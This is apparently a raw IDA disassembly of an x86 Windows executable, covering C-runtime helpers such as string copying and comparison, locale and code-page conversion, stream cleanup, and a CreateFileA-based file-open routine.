loc_418802: ; CODE XREF: sub_4187D6+23j
mov esi, [esi+8]
cmp esi, off_423EE0
jz short loc_418814
push esi
call sub_41112C
pop ecx
loc_418814: ; CODE XREF: sub_4187D6+7j
; sub_4187D6+35j
pop esi
retn
sub_4187D6 endp
; =============== S U B R O U T I N E =======================================
sub_418816 proc near ; CODE XREF: sub_413282+43p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41889D
mov eax, [esi+0Ch]
cmp eax, off_423EE4
jz short loc_418831
push eax
call sub_41112C
pop ecx
loc_418831: ; CODE XREF: sub_418816+12j
mov eax, [esi+10h]
cmp eax, off_423EE8
jz short loc_418843
push eax
call sub_41112C
pop ecx
loc_418843: ; CODE XREF: sub_418816+24j
mov eax, [esi+14h]
cmp eax, off_423EEC
jz short loc_418855
push eax
call sub_41112C
pop ecx
loc_418855: ; CODE XREF: sub_418816+36j
mov eax, [esi+18h]
cmp eax, off_423EF0
jz short loc_418867
push eax
call sub_41112C
pop ecx
loc_418867: ; CODE XREF: sub_418816+48j
mov eax, [esi+1Ch]
cmp eax, off_423EF4
jz short loc_418879
push eax
call sub_41112C
pop ecx
loc_418879: ; CODE XREF: sub_418816+5Aj
mov eax, [esi+20h]
cmp eax, off_423EF8
jz short loc_41888B
push eax
call sub_41112C
pop ecx
loc_41888B: ; CODE XREF: sub_418816+6Cj
mov esi, [esi+24h]
cmp esi, off_423EFC
jz short loc_41889D
push esi
call sub_41112C
pop ecx
loc_41889D: ; CODE XREF: sub_418816+7j
; sub_418816+7Ej
pop esi
retn
sub_418816 endp
; =============== S U B R O U T I N E =======================================
sub_41889F proc near ; CODE XREF: sub_41422C+117p
; sub_41422C+139p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
cmp eax, ebx
push esi
push edi
jz short loc_4188B4
mov edi, [esp+0Ch+arg_4]
cmp edi, ebx
ja short loc_4188CF
loc_4188B4: ; CODE XREF: sub_41889F+Bj
; sub_41889F+3Aj
call sub_40F79E
push 16h
pop esi
mov [eax], esi
loc_4188BE: ; CODE XREF: sub_41889F+69j
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DCD8
add esp, 14h
mov eax, esi
jmp short loc_41890C
; ---------------------------------------------------------------------------
loc_4188CF: ; CODE XREF: sub_41889F+13j
mov esi, [esp+0Ch+arg_8]
cmp esi, ebx
jnz short loc_4188DB
loc_4188D7: ; CODE XREF: sub_41889F+48j
mov [eax], bl
jmp short loc_4188B4
; ---------------------------------------------------------------------------
loc_4188DB: ; CODE XREF: sub_41889F+36j
mov edx, eax
loc_4188DD: ; CODE XREF: sub_41889F+44j
cmp [edx], bl
jz short loc_4188E5
inc edx
dec edi
jnz short loc_4188DD
loc_4188E5: ; CODE XREF: sub_41889F+40j
cmp edi, ebx
jz short loc_4188D7
loc_4188E9: ; CODE XREF: sub_41889F+55j
mov cl, [esi]
mov [edx], cl
inc edx
inc esi
cmp cl, bl
jz short loc_4188F6
dec edi
jnz short loc_4188E9
loc_4188F6: ; CODE XREF: sub_41889F+52j
cmp edi, ebx
jnz short loc_41890A
mov [eax], bl
call sub_40F79E
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_4188BE
; ---------------------------------------------------------------------------
loc_41890A: ; CODE XREF: sub_41889F+59j
xor eax, eax
loc_41890C: ; CODE XREF: sub_41889F+2Ej
pop edi
pop esi
pop ebx
retn
sub_41889F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+0Ch]
lea ecx, [ecx+0]
loc_418924: ; CODE XREF: .vty:00418931j
mov al, [edx]
or al, al
jz short loc_418933
add edx, 1
bts [esp], eax
jmp short loc_418924
; ---------------------------------------------------------------------------
loc_418933: ; CODE XREF: .vty:00418928j
mov esi, [ebp+8]
or ecx, 0FFFFFFFFh
lea ecx, [ecx+0]
loc_41893C: ; CODE XREF: .vty:0041894Cj
add ecx, 1
mov al, [esi]
or al, al
jz short loc_41894E
add esi, 1
bt [esp], eax
jnb short loc_41893C
loc_41894E: ; CODE XREF: .vty:00418943j
mov eax, ecx
add esp, 20h
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418956 proc near ; CODE XREF: sub_419680+32p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_8]
test ebx, ebx
jnz short loc_41896D
xor eax, eax
jmp loc_418A07
; ---------------------------------------------------------------------------
loc_41896D: ; CODE XREF: sub_418956+Ej
cmp ebx, 4
push edi
jb short loc_4189E8
lea edi, [ebx-4]
test edi, edi
jbe short loc_4189E8
mov ecx, [ebp+arg_4]
mov eax, [ebp+arg_0]
loc_418980: ; CODE XREF: sub_418956+66j
mov dl, [eax]
add eax, 4
add ecx, 4
test dl, dl
jz short loc_4189DE
cmp dl, [ecx-4]
jnz short loc_4189DE
mov dl, [eax-3]
test dl, dl
jz short loc_4189D4
cmp dl, [ecx-3]
jnz short loc_4189D4
mov dl, [eax-2]
test dl, dl
jz short loc_4189CA
cmp dl, [ecx-2]
jnz short loc_4189CA
mov dl, [eax-1]
test dl, dl
jz short loc_4189C0
cmp dl, [ecx-1]
jnz short loc_4189C0
add [ebp+var_4], 4
cmp [ebp+var_4], edi
jb short loc_418980
jmp short loc_4189FF
; ---------------------------------------------------------------------------
loc_4189C0: ; CODE XREF: sub_418956+58j
; sub_418956+5Dj
movzx eax, byte ptr [eax-1]
movzx ecx, byte ptr [ecx-1]
jmp short loc_418A10
; ---------------------------------------------------------------------------
loc_4189CA: ; CODE XREF: sub_418956+4Cj
; sub_418956+51j
movzx eax, byte ptr [eax-2]
movzx ecx, byte ptr [ecx-2]
jmp short loc_418A10
; ---------------------------------------------------------------------------
loc_4189D4: ; CODE XREF: sub_418956+40j
; sub_418956+45j
movzx eax, byte ptr [eax-3]
movzx ecx, byte ptr [ecx-3]
jmp short loc_418A10
; ---------------------------------------------------------------------------
loc_4189DE: ; CODE XREF: sub_418956+34j
; sub_418956+39j
movzx eax, byte ptr [eax-4]
movzx ecx, byte ptr [ecx-4]
jmp short loc_418A10
; ---------------------------------------------------------------------------
loc_4189E8: ; CODE XREF: sub_418956+1Bj
; sub_418956+22j
mov ecx, [ebp+arg_4]
mov eax, [ebp+arg_0]
jmp short loc_4189FF
; ---------------------------------------------------------------------------
loc_4189F0: ; CODE XREF: sub_418956+ACj
mov dl, [eax]
test dl, dl
jz short loc_418A0A
cmp dl, [ecx]
jnz short loc_418A0A
inc eax
inc ecx
inc [ebp+var_4]
loc_4189FF: ; CODE XREF: sub_418956+68j
; sub_418956+98j
cmp [ebp+var_4], ebx
jb short loc_4189F0
xor eax, eax
loc_418A06: ; CODE XREF: sub_418956+BCj
pop edi
loc_418A07: ; CODE XREF: sub_418956+12j
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_418A0A: ; CODE XREF: sub_418956+9Ej
; sub_418956+A2j
movzx eax, byte ptr [eax]
movzx ecx, byte ptr [ecx]
loc_418A10: ; CODE XREF: sub_418956+72j
; sub_418956+7Cj ...
sub eax, ecx
jmp short loc_418A06
sub_418956 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+0Ch]
lea ecx, [ecx+0]
loc_418A34: ; CODE XREF: .vty:00418A41j
mov al, [edx]
or al, al
jz short loc_418A43
add edx, 1
bts [esp], eax
jmp short loc_418A34
; ---------------------------------------------------------------------------
loc_418A43: ; CODE XREF: .vty:00418A38j
mov esi, [ebp+8]
mov edi, edi
loc_418A48: ; CODE XREF: .vty:00418A55j
mov al, [esi]
or al, al
jz short loc_418A5A
add esi, 1
bt [esp], eax
jnb short loc_418A48
lea eax, [esi-1]
loc_418A5A: ; CODE XREF: .vty:00418A4Cj
add esp, 20h
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A60 proc near ; CODE XREF: sub_4135A3+25Ap
; sub_41844E+150p
var_C = byte ptr -0Ch
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+var_4], eax
push 6
lea eax, [ebp+var_C]
push eax
push 1004h
push [ebp+arg_0]
mov [ebp+var_6], 0
call dword_41C038 ; GetLocaleInfoA
test eax, eax
jnz short loc_418A91
or eax, 0FFFFFFFFh
jmp short loc_418A9B
; ---------------------------------------------------------------------------
loc_418A91: ; CODE XREF: sub_418A60+2Aj
lea eax, [ebp+var_C]
push eax
call sub_41002F
pop ecx
loc_418A9B: ; CODE XREF: sub_418A60+2Fj
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_410BCD
leave
retn
sub_418A60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AA7 proc near ; CODE XREF: sub_4135A3+285p
; sub_4135A3+336p ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 34h
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_10]
mov [ebp+var_28], eax
mov eax, [ebp+arg_C]
push ebx
mov [ebp+var_30], eax
mov eax, [eax]
push esi
mov [ebp+var_24], eax
mov eax, [ebp+arg_0]
push edi
xor edi, edi
cmp eax, [ebp+arg_4]
mov [ebp+var_34], ecx
mov [ebp+var_20], edi
mov [ebp+var_2C], edi
jz loc_418C44
mov esi, dword_41C160
lea ecx, [ebp+var_18]
push ecx
push eax
call esi ; GetCPInfo
test eax, eax
mov ebx, dword_41C174
jz short loc_418B5A
cmp [ebp+var_18], 1
jnz short loc_418B5A
lea eax, [ebp+var_18]
push eax
push [ebp+arg_4]
call esi ; GetCPInfo
test eax, eax
jz short loc_418B5A
cmp [ebp+var_18], 1
jnz short loc_418B5A
mov esi, [ebp+var_24]
cmp esi, 0FFFFFFFFh
mov [ebp+var_2C], 1
jnz short loc_418B30
push [ebp+var_28]
call sub_40D970
mov esi, eax
pop ecx
inc esi
loc_418B30: ; CODE XREF: sub_418AA7+7Bj
cmp esi, edi
loc_418B32: ; CODE XREF: sub_418AA7+C6j
jle short loc_418B8F
cmp esi, 7FFFFFF0h
ja short loc_418B8F
lea eax, [esi+esi+8]
cmp eax, 400h
ja short loc_418B76
call sub_418C60
mov eax, esp
cmp eax, edi
jz short loc_418B8A
mov dword ptr [eax], 0CCCCh
jmp short loc_418B87
; ---------------------------------------------------------------------------
loc_418B5A: ; CODE XREF: sub_418AA7+53j
; sub_418AA7+59j ...
push edi
push edi
push [ebp+var_24]
push [ebp+var_28]
push 1
push [ebp+arg_0]
call ebx ; MultiByteToWideChar
mov esi, eax
cmp esi, edi
jnz short loc_418B32
loc_418B6F: ; CODE XREF: sub_418AA7+EEj
xor eax, eax
jmp loc_418C47
; ---------------------------------------------------------------------------
loc_418B76: ; CODE XREF: sub_418AA7+9Ej
push eax
call sub_411069
cmp eax, edi
pop ecx
jz short loc_418B8A
mov dword ptr [eax], 0DDDDh
loc_418B87: ; CODE XREF: sub_418AA7+B1j
add eax, 8
loc_418B8A: ; CODE XREF: sub_418AA7+A9j
; sub_418AA7+D8j
mov [ebp+var_1C], eax
jmp short loc_418B92
; ---------------------------------------------------------------------------
loc_418B8F: ; CODE XREF: sub_418AA7:loc_418B32j
; sub_418AA7+93j
mov [ebp+var_1C], edi
loc_418B92: ; CODE XREF: sub_418AA7+E6j
cmp [ebp+var_1C], edi
jz short loc_418B6F
lea eax, [esi+esi]
push eax
push edi
push [ebp+var_1C]
call sub_40DD10
add esp, 0Ch
push esi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+var_28]
push 1
push [ebp+arg_0]
call ebx ; MultiByteToWideChar
test eax, eax
jz short loc_418C3B
mov ebx, [ebp+var_34]
cmp ebx, edi
jz short loc_418BE0
push edi
push edi
push [ebp+arg_14]
push ebx
push esi
push [ebp+var_1C]
push edi
push [ebp+arg_4]
call dword_41C170 ; WideCharToMultiByte
test eax, eax
jz short loc_418C3B
mov [ebp+var_20], ebx
jmp short loc_418C3B
; ---------------------------------------------------------------------------
loc_418BE0: ; CODE XREF: sub_418AA7+11Aj
cmp [ebp+var_2C], edi
mov ebx, dword_41C170
jnz short loc_418BFF
push edi
push edi
push edi
push edi
push esi
push [ebp+var_1C]
push edi
push [ebp+arg_4]
call ebx ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz short loc_418C3B
loc_418BFF: ; CODE XREF: sub_418AA7+142j
push esi
push 1
call sub_412363
cmp eax, edi
pop ecx
pop ecx
mov [ebp+var_20], eax
jz short loc_418C3B
push edi
push edi
push esi
push eax
push esi
push [ebp+var_1C]
push edi
push [ebp+arg_4]
call ebx ; WideCharToMultiByte
cmp eax, edi
jnz short loc_418C30
push [ebp+var_20]
call sub_41112C
pop ecx
mov [ebp+var_20], edi
jmp short loc_418C3B
; ---------------------------------------------------------------------------
loc_418C30: ; CODE XREF: sub_418AA7+179j
cmp [ebp+var_24], 0FFFFFFFFh
jz short loc_418C3B
mov ecx, [ebp+var_30]
mov [ecx], eax
loc_418C3B: ; CODE XREF: sub_418AA7+113j
; sub_418AA7+132j ...
push [ebp+var_1C]
call sub_413588
pop ecx
loc_418C44: ; CODE XREF: sub_418AA7+38j
mov eax, [ebp+var_20]
loc_418C47: ; CODE XREF: sub_418AA7+CAj
lea esp, [ebp-40h]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_410BCD
leave
retn
sub_418AA7 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418C60 proc near ; CODE XREF: sub_4135A3+F3p
; sub_4135A3+1B1p ...
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 0041A3D0 SIZE 0000002B BYTES
push ecx
lea ecx, [esp+4+arg_0]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp loc_41A3D0
sub_418C60 endp
; ---------------------------------------------------------------------------
push ecx
lea ecx, [esp+8]
sub ecx, eax
and ecx, 7
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp loc_41A3D0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C8C proc near ; CODE XREF: sub_413B39+Ep
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 10h
push offset dword_41FDB8
call __SEH_prolog4
xor ebx, ebx
mov [ebp+var_1C], ebx
push 1
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], ebx
push 3
pop edi
loc_418CAB: ; CODE XREF: sub_418C8C+7Fj
mov [ebp+var_20], edi
cmp edi, dword_426000
jge short loc_418D0D
mov esi, edi
shl esi, 2
mov eax, dword_424FE0
add eax, esi
cmp [eax], ebx
jz short loc_418D0A
mov eax, [eax]
test byte ptr [eax+0Ch], 83h
jz short loc_418CDD
push eax
call sub_40FD7C
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_418CDD
inc [ebp+var_1C]
loc_418CDD: ; CODE XREF: sub_418C8C+40j
; sub_418C8C+4Cj
cmp edi, 14h
jl short loc_418D0A
mov eax, dword_424FE0
mov eax, [esi+eax]
add eax, 20h
push eax
call dword_41C0CC ; RtlDeleteCriticalSection
mov eax, dword_424FE0
push dword ptr [esi+eax]
call sub_41112C
pop ecx
mov eax, dword_424FE0
mov [esi+eax], ebx
loc_418D0A: ; CODE XREF: sub_418C8C+38j
; sub_418C8C+54j
inc edi
jmp short loc_418CAB
; ---------------------------------------------------------------------------
loc_418D0D: ; CODE XREF: sub_418C8C+28j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_418D22
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_418C8C endp
; =============== S U B R O U T I N E =======================================
sub_418D22 proc near ; CODE XREF: sub_418C8C+88p
; DATA XREF: .vty:0041FDD0o
push 1
call sub_416CCE
pop ecx
retn
sub_418D22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D2B proc near ; CODE XREF: sub_419369+72p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
xor ebx, ebx
test byte ptr [ebp+arg_8], 80h
push edi
push 10h
mov esi, eax
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov [ebp+var_2], bl
mov [ebp+var_28], 0Ch
mov [ebp+var_24], ebx
pop edi
jz short loc_418D5D
mov [ebp+var_20], ebx
mov [ebp+var_1], 10h
jmp short loc_418D67
; ---------------------------------------------------------------------------
loc_418D5D: ; CODE XREF: sub_418D2B+27j
mov [ebp+var_20], 1
mov [ebp+var_1], bl
loc_418D67: ; CODE XREF: sub_418D2B+30j
lea eax, [ebp+var_14]
push eax
call sub_41AC7F
test eax, eax
pop ecx
jz short loc_418D82
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DBDC
add esp, 14h
loc_418D82: ; CODE XREF: sub_418D2B+48j
lea eax, [ebp+var_18]
push eax
call sub_412542
test eax, eax
pop ecx
jz short loc_418D9D
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40DBDC
add esp, 14h
loc_418D9D: ; CODE XREF: sub_418D2B+63j
mov eax, 8000h
test [ebp+arg_8], eax
jnz short loc_418DB9
test [ebp+arg_8], 74000h
jnz short loc_418DB5
cmp [ebp+var_14], eax
jz short loc_418DB9
loc_418DB5: ; CODE XREF: sub_418D2B+83j
or [ebp+var_1], 80h
loc_418DB9: ; CODE XREF: sub_418D2B+7Aj
; sub_418D2B+88j
mov eax, [ebp+arg_8]
push 3
pop edx
and eax, edx
sub eax, ebx
mov ecx, 80000000h
jz short loc_418E08
dec eax
jz short loc_418DFF
dec eax
jz short loc_418DF6
loc_418DD0: ; CODE XREF: sub_418D2B+F6j
; sub_418D2B+14Fj ...
call sub_40F7B1
mov [eax], ebx
or dword ptr [esi], 0FFFFFFFFh
call sub_40F79E
push 16h
pop esi
push ebx
push ebx
push ebx
push ebx
push ebx
mov [eax], esi
call sub_40DCD8
add esp, 14h
jmp loc_419285
; ---------------------------------------------------------------------------
loc_418DF6: ; CODE XREF: sub_418D2B+A3j
mov [ebp+var_C], 0C0000000h
jmp short loc_418E0B
; ---------------------------------------------------------------------------
loc_418DFF: ; CODE XREF: sub_418D2B+A0j
mov [ebp+var_C], 40000000h
jmp short loc_418E0B
; ---------------------------------------------------------------------------
loc_418E08: ; CODE XREF: sub_418D2B+9Dj
mov [ebp+var_C], ecx
loc_418E0B: ; CODE XREF: sub_418D2B+D2j
; sub_418D2B+DBj
mov eax, [ebp+arg_C]
sub eax, edi
jz short loc_418E47
sub eax, edi
jz short loc_418E3E
sub eax, edi
jz short loc_418E35
sub eax, edi
jz short loc_418E30
sub eax, 40h
jnz short loc_418DD0
xor eax, eax
cmp [ebp+var_C], ecx
setz al
mov [ebp+var_8], eax
jmp short loc_418E4A
; ---------------------------------------------------------------------------
loc_418E30: ; CODE XREF: sub_418D2B+F1j
mov [ebp+var_8], edx
jmp short loc_418E4A
; ---------------------------------------------------------------------------
loc_418E35: ; CODE XREF: sub_418D2B+EDj
mov [ebp+var_8], 2
jmp short loc_418E4A
; ---------------------------------------------------------------------------
loc_418E3E: ; CODE XREF: sub_418D2B+E9j
mov [ebp+var_8], 1
jmp short loc_418E4A
; ---------------------------------------------------------------------------
loc_418E47: ; CODE XREF: sub_418D2B+E5j
mov [ebp+var_8], ebx
loc_418E4A: ; CODE XREF: sub_418D2B+103j
; sub_418D2B+108j ...
mov eax, [ebp+arg_8]
mov edx, 700h
and eax, edx
mov ecx, 400h
cmp eax, ecx
jg short loc_418E9B
jz short loc_418E92
cmp eax, ebx
jz short loc_418E92
cmp eax, 100h
jz short loc_418E89
cmp eax, 200h
jz loc_418F0D
cmp eax, 300h
jnz loc_418DD0
mov [ebp+var_10], 2
jmp short loc_418EB8
; ---------------------------------------------------------------------------
loc_418E89: ; CODE XREF: sub_418D2B+13Dj
mov [ebp+var_10], 4
jmp short loc_418EB8
; ---------------------------------------------------------------------------
loc_418E92: ; CODE XREF: sub_418D2B+132j
; sub_418D2B+136j
mov [ebp+var_10], 3
jmp short loc_418EB8
; ---------------------------------------------------------------------------
loc_418E9B: ; CODE XREF: sub_418D2B+130j
cmp eax, 500h
jz short loc_418EB1
cmp eax, 600h
jz short loc_418F0D
cmp eax, edx
jnz loc_418DD0
loc_418EB1: ; CODE XREF: sub_418D2B+175j
mov [ebp+var_10], 1
loc_418EB8: ; CODE XREF: sub_418D2B+15Cj
; sub_418D2B+165j ...
mov ecx, [ebp+arg_8]
mov eax, 100h
test ecx, eax
mov edi, 80h
jz short loc_418EDB
mov edx, dword_4243B4
not edx
and edx, [ebp+arg_10]
test dl, dl
js short loc_418EDB
xor edi, edi
inc edi
loc_418EDB: ; CODE XREF: sub_418D2B+19Cj
; sub_418D2B+1ABj
test cl, 40h
jz short loc_418EF7
or [ebp+var_C], 10000h
or edi, 4000000h
cmp [ebp+var_18], 2
jnz short loc_418EF7
or [ebp+var_8], 4
loc_418EF7: ; CODE XREF: sub_418D2B+1B3j
; sub_418D2B+1C6j
test cx, 1000h
jz short loc_418F00
or edi, eax
loc_418F00: ; CODE XREF: sub_418D2B+1D1j
test cl, 20h
jz short loc_418F16
or edi, 8000000h
jmp short loc_418F21
; ---------------------------------------------------------------------------
loc_418F0D: ; CODE XREF: sub_418D2B+144j
; sub_418D2B+17Cj
mov [ebp+var_10], 5
jmp short loc_418EB8
; ---------------------------------------------------------------------------
loc_418F16: ; CODE XREF: sub_418D2B+1D8j
test cl, 10h
jz short loc_418F21
or edi, 10000000h
loc_418F21: ; CODE XREF: sub_418D2B+1E0j
; sub_418D2B+1EEj
call sub_419F38
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_418F44
call sub_40F7B1
mov [eax], ebx
or dword ptr [esi], 0FFFFFFFFh
call sub_40F79E
mov dword ptr [eax], 18h
jmp short loc_418F94
; ---------------------------------------------------------------------------
loc_418F44: ; CODE XREF: sub_418D2B+200j
mov eax, [ebp+arg_0]
push ebx
push edi
push [ebp+var_10]
mov dword ptr [eax], 1
lea eax, [ebp+var_28]
push eax
push [ebp+var_8]
push [ebp+var_C]
push [ebp+arg_4]
call dword_41C034 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_418FA0
mov esi, [esi]
mov eax, esi
and esi, 1Fh
imul esi, 28h
sar eax, 5
mov eax, dword_424EE0[eax*4]
lea eax, [eax+esi+4]
and byte ptr [eax], 0FEh
loc_418F87: ; CODE XREF: sub_418D2B+2A2j
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
call sub_40F7C4
loc_418F93: ; CODE XREF: sub_418D2B+345j
pop ecx
loc_418F94: ; CODE XREF: sub_418D2B+217j
call sub_40F79E
mov eax, [eax]
jmp loc_419364
; ---------------------------------------------------------------------------
loc_418FA0: ; CODE XREF: sub_418D2B+23Fj
push edi
call dword_41C1A0 ; GetFileType
cmp eax, ebx
jnz short loc_418FCF
mov esi, [esi]
mov eax, esi
and esi, 1Fh
imul esi, 28h
sar eax, 5
mov eax, dword_424EE0[eax*4]
lea eax, [eax+esi+4]
and byte ptr [eax], 0FEh
push edi
call dword_41C0D4 ; CloseHandle
jmp short loc_418F87
; ---------------------------------------------------------------------------
loc_418FCF: ; CODE XREF: sub_418D2B+27Ej
cmp eax, 2
jnz short loc_418FDA
or [ebp+var_1], 40h
jmp short loc_418FE3
; ---------------------------------------------------------------------------
loc_418FDA: ; CODE XREF: sub_418D2B+2A7j
cmp eax, 3
jnz short loc_418FE3
or [ebp+var_1], 8
loc_418FE3: ; CODE XREF: sub_418D2B+2ADj
; sub_418D2B+2B2j
push edi
push dword ptr [esi]
call sub_419D07
mov eax, [esi]
mov edx, eax
and eax, 1Fh
imul eax, 28h
sar edx, 5
mov edx, dword_424EE0[edx*4]
pop ecx
pop ecx
mov cl, [ebp+var_1]
or cl, 1
mov [edx+eax+4], cl
mov eax, [esi]
mov edx, eax
and eax, 1Fh
imul eax, 28h
sar edx, 5
mov edx, dword_424EE0[edx*4]
lea eax, [edx+eax+24h]
and byte ptr [eax], 80h
mov [ebp+var_3], cl
and [ebp+var_3], 48h
mov [ebp+var_1], cl
jnz loc_4190B6
test cl, 80h
jz loc_4192F0
test byte ptr [ebp+arg_8], 2
jz short loc_4190B6
push 2
or edi, 0FFFFFFFFh
push edi
push dword ptr [esi]
call sub_41AB51
add esp, 0Ch
cmp eax, edi
mov [ebp+var_8], eax
jnz short loc_419075
call sub_40F7B1
cmp dword ptr [eax], 83h
jz short loc_4190B6
loc_419069: ; CODE XREF: sub_418D2B+379j
; sub_418D2B+389j ...
push dword ptr [esi]
call sub_414C65
jmp loc_418F93
; ---------------------------------------------------------------------------
loc_419075: ; CODE XREF: sub_418D2B+32Fj
push 1
lea eax, [ebp+var_4]
push eax
push dword ptr [esi]
mov [ebp+var_4], bl
call sub_41A5AF
add esp, 0Ch
test eax, eax
jnz short loc_4190A6
cmp [ebp+var_4], 1Ah
jnz short loc_4190A6
mov eax, [ebp+var_8]
cdq
push edx
push eax
push dword ptr [esi]
call sub_41A3FB
add esp, 0Ch
cmp eax, edi
jz short loc_419069
loc_4190A6: ; CODE XREF: sub_418D2B+35Fj
; sub_418D2B+365j
push ebx
push ebx
push dword ptr [esi]
call sub_41AB51
add esp, 0Ch
cmp eax, edi
jz short loc_419069
loc_4190B6: ; CODE XREF: sub_418D2B+305j
; sub_418D2B+318j ...
test [ebp+var_1], 80h
jz loc_4192F0
mov ecx, 74000h
test [ebp+arg_8], ecx
mov edi, 4000h
jnz short loc_4190DE
mov eax, [ebp+var_14]
and eax, ecx
jnz short loc_4190DB
or [ebp+arg_8], edi
jmp short loc_4190DE
; ---------------------------------------------------------------------------
loc_4190DB: ; CODE XREF: sub_418D2B+3A9j
or [ebp+arg_8], eax
loc_4190DE: ; CODE XREF: sub_418D2B+3A2j
; sub_418D2B+3AEj
mov eax, [ebp+arg_8]
and eax, ecx
cmp eax, edi
jz short loc_41912B
cmp eax, 10000h
jz short loc_419117
cmp eax, 14000h
jz short loc_419117
cmp eax, 20000h
jz short loc_419125
cmp eax, 24000h
jz short loc_419125
cmp eax, 40000h
jz short loc_419111
cmp eax, 44000h
jnz short loc_41912E
loc_419111: ; CODE XREF: sub_418D2B+3DDj
mov [ebp+var_2], 1
jmp short loc_41912E
; ---------------------------------------------------------------------------
loc_419117: ; CODE XREF: sub_418D2B+3C1j
; sub_418D2B+3C8j
mov ecx, [ebp+arg_8]
mov eax, 301h
and ecx, eax
cmp ecx, eax
jnz short loc_41912E
loc_419125: ; CODE XREF: sub_418D2B+3CFj
; sub_418D2B+3D6j
mov [ebp+var_2], 2
jmp short loc_41912E
; ---------------------------------------------------------------------------
loc_41912B: ; CODE XREF: sub_418D2B+3BAj
mov [ebp+var_2], bl
loc_41912E: ; CODE XREF: sub_418D2B+3E4j
; sub_418D2B+3EAj ...
test [ebp+arg_8], 70000h
jz loc_4192F0
test [ebp+var_1], 40h
mov [ebp+var_8], ebx
jnz loc_4192F0
mov eax, [ebp+var_C]
mov ecx, 0C0000000h
and eax, ecx
cmp eax, 40000000h
jz loc_419214
cmp eax, 80000000h
jz short loc_4191DB
cmp eax, ecx
jnz loc_4192F0
mov eax, [ebp+var_10]
cmp eax, ebx
jbe loc_4192F0
cmp eax, 2
jbe short loc_41918A
cmp eax, 4
jbe short loc_4191B1
loc_419181: ; CODE XREF: sub_418D2B+500j
cmp eax, 5
jnz loc_4192F0
loc_41918A: ; CODE XREF: sub_418D2B+44Fj
; sub_418D2B+496j ...
movsx eax, [ebp+var_2]
xor edi, edi
dec eax
jz loc_4192BD
dec eax
jnz loc_4192F0
mov [ebp+var_8], 0FEFFh
mov [ebp+var_10], 2
jmp loc_4192CB
; ---------------------------------------------------------------------------
loc_4191B1: ; CODE XREF: sub_418D2B+454j
push 2
push ebx
push ebx
push dword ptr [esi]
call sub_4178D6
add esp, 10h
or eax, edx
jz short loc_41918A
push ebx
push ebx
push ebx
push dword ptr [esi]
call sub_4178D6
and eax, edx
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_419069
loc_4191DB: ; CODE XREF: sub_418D2B+437j
push 3
lea eax, [ebp+var_8]
push eax
push dword ptr [esi]
call sub_41A5AF
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_419069
cmp eax, 2
jz short loc_419264
